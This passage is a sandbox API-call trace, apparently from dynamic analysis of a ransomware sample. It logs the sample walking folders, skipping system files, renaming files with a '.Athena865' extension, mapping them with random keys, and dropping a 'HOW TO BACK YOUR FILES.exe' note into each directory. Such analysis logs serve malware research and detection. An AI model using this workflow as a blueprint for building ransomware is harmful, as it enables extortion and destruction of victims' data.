(hObject=0x17c) returned 1 [0103.465] CloseHandle (hObject=0x154) returned 1 [0103.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.465] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0103.465] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.465] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.465] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".") returned 1 [0103.465] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="..") returned 1 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="windows") returned 1 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="bootmgr") returned 1 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="temp") returned 1 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="pagefile.sys") returned 1 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="boot") returned 1 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="ids.txt") returned 1 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="ntuser.dat") returned 1 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="perflogs") returned 1 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2="MSBuild") returned 1 [0103.466] lstrlenW (lpString="Windows Live Spaces.url") returned 23 [0103.466] lstrcpyW (in: lpString1=0x241e8ba, lpString2="Windows Live Spaces.url" | out: lpString1="Windows Live Spaces.url") returned="Windows Live Spaces.url" [0103.466] lstrlenW (lpString="Windows Live Spaces.url") returned 23 [0103.466] lstrlenW (lpString="Athena865") returned 9 [0103.466] lstrcmpiW (lpString1="paces.url", lpString2="Athena865") returned 1 [0103.466] lstrlenW (lpString=".dll") returned 4 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".dll") returned 1 [0103.466] lstrlenW (lpString=".lnk") returned 4 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".lnk") returned 1 [0103.466] lstrlenW (lpString=".ini") returned 4 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".ini") returned 1 [0103.466] lstrlenW (lpString=".sys") returned 4 [0103.466] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".sys") returned 1 [0103.466] lstrlenW (lpString="Windows Live Spaces.url") returned 23 [0103.466] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.Athena865") returned 90 [0103.466] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\windows live spaces.url.athena865"), dwFlags=0x1) returned 1 [0103.467] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url.Athena865" (normalized: "c:\\documents and settings\\default\\favorites\\windows live\\windows live spaces.url.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0103.467] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=133) returned 1 [0103.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da98 [0103.468] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519910 [0103.468] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519888) returned 1 [0103.468] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.469] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.469] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x390, lpName=0x0) returned 0x17c [0103.471] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x390) returned 0x100000 [0103.472] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519888) returned 1 [0103.472] CryptGenRandom (in: hProv=0x519888, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.472] CryptReleaseContext (hProv=0x519888, dwFlags=0x0) returned 1 [0103.472] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52da20 [0103.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da20 | out: hHeap=0x4f0000) returned 1 [0103.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x547540 [0103.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x547540 [0103.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.473] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.473] CloseHandle (hObject=0x17c) returned 1 [0103.473] CloseHandle (hObject=0x154) returned 1 [0103.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52da98 | out: hHeap=0x4f0000) returned 1 [0103.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519910 | out: hHeap=0x4f0000) returned 1 [0103.473] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.474] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0103.474] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.474] ReleaseMutex (hMutex=0xec) returned 1 [0103.474] CloseHandle (hObject=0xec) returned 1 [0103.474] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Local Settings\\Application Data" | out: lpString1="C:\\Documents and Settings\\Default\\Local Settings\\Application Data") returned="C:\\Documents and Settings\\Default\\Local Settings\\Application Data" [0103.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513ca8 | out: hHeap=0x4f0000) returned 1 [0103.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c7e8 | out: hHeap=0x4f0000) returned 1 [0103.474] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Local Settings\\Application Data") returned 65 [0103.474] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\666F7A955B2EAE20D124074A0EEB70AB") returned 0xec [0103.474] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.474] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Local Settings\\Application Data" | out: lpString1="C:\\Documents and Settings\\Default\\Local Settings\\Application Data") returned="C:\\Documents and Settings\\Default\\Local Settings\\Application Data" [0103.474] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.474] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.475] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.475] GetLastError () returned 0x0 [0103.475] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.475] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547540 [0103.475] ReadFile (in: hFile=0xf4, lpBuffer=0x547540, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547540*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.476] CloseHandle (hObject=0xf4) returned 1 [0103.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.476] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.476] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.476] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.476] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.476] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.476] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.476] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.476] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.476] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.476] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.476] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0103.476] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0103.477] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0103.477] lstrlenW (lpString="Application Data") returned 16 [0103.477] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0103.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7e8 [0103.477] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa6) returned 0x5131c8 [0103.477] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0103.477] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0103.477] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\application data\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.478] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0103.478] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.478] lstrcmpiW (lpString1="History", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.478] lstrcmpiW (lpString1="History", lpString2=".") returned 1 [0103.478] lstrcmpiW (lpString1="History", lpString2="..") returned 1 [0103.478] lstrcmpiW (lpString1="History", lpString2="windows") returned -1 [0103.478] lstrcmpiW (lpString1="History", lpString2="bootmgr") returned 1 [0103.478] lstrcmpiW (lpString1="History", lpString2="temp") returned -1 [0103.478] lstrcmpiW (lpString1="History", lpString2="pagefile.sys") returned -1 [0103.478] lstrcmpiW (lpString1="History", lpString2="boot") returned 1 [0103.478] lstrcmpiW (lpString1="History", lpString2="ids.txt") returned -1 [0103.478] lstrcmpiW (lpString1="History", lpString2="ntuser.dat") returned -1 [0103.478] lstrcmpiW (lpString1="History", lpString2="perflogs") returned -1 [0103.478] lstrcmpiW (lpString1="History", lpString2="MSBuild") returned -1 [0103.478] lstrlenW (lpString="History") returned 7 [0103.478] lstrcpyW (in: lpString1=0x241e8cc, lpString2="History" | out: lpString1="History") returned="History" [0103.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c740 [0103.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x53e620 [0103.478] lstrcatW (in: lpString1="History", lpString2="\\" | out: lpString1="History\\") returned="History\\" [0103.478] lstrcatW (in: lpString1="History\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History\\HOW TO BACK YOUR FILES.exe") returned="History\\HOW TO BACK YOUR FILES.exe" [0103.479] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Application Data\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\application data\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.479] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.479] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.479] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x66b2700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xbdaf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db.Athena865", cAlternateFileName="ICONCA~1.ATH")) returned 1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2=".") returned 1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="..") returned 1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="windows") returned -1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="bootmgr") returned 1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="temp") returned -1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="pagefile.sys") returned -1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="boot") returned 1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="ids.txt") returned -1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="ntuser.dat") returned -1 [0103.479] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="perflogs") returned -1 [0103.480] lstrcmpiW (lpString1="IconCache.db.Athena865", lpString2="MSBuild") returned -1 [0103.480] lstrlenW (lpString="IconCache.db.Athena865") returned 22 [0103.480] lstrcpyW (in: lpString1=0x241e8cc, lpString2="IconCache.db.Athena865" | out: lpString1="IconCache.db.Athena865") returned="IconCache.db.Athena865" [0103.480] lstrlenW (lpString="IconCache.db.Athena865") returned 22 [0103.480] lstrlenW (lpString="Athena865") returned 9 [0103.480] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.480] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7aa5440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7aa5440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0103.480] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0103.480] lstrlenW (lpString="Microsoft") returned 9 [0103.480] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0103.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7a0 [0103.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53e6c0 [0103.480] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0103.480] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0103.480] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.481] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0103.481] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.481] lstrcmpiW (lpString1="Temp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.481] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1 [0103.481] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1 [0103.481] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1 [0103.481] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1 [0103.481] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0 [0103.481] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2=".") returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="..") returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="windows") returned -1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="bootmgr") returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="temp") returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="pagefile.sys") returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="boot") returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ids.txt") returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ntuser.dat") returned 1 [0103.481] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="perflogs") returned 1 [0103.482] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="MSBuild") returned 1 [0103.482] lstrlenW (lpString="Temporary Internet Files") returned 24 [0103.482] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files" [0103.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c7b8 [0103.482] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb6) returned 0x51c4c8 [0103.482] lstrcatW (in: lpString1="Temporary Internet Files", lpString2="\\" | out: lpString1="Temporary Internet Files\\") returned="Temporary Internet Files\\" [0103.482] lstrcatW (in: lpString1="Temporary Internet Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe") returned="Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" [0103.482] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Application Data\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\application data\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.482] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, 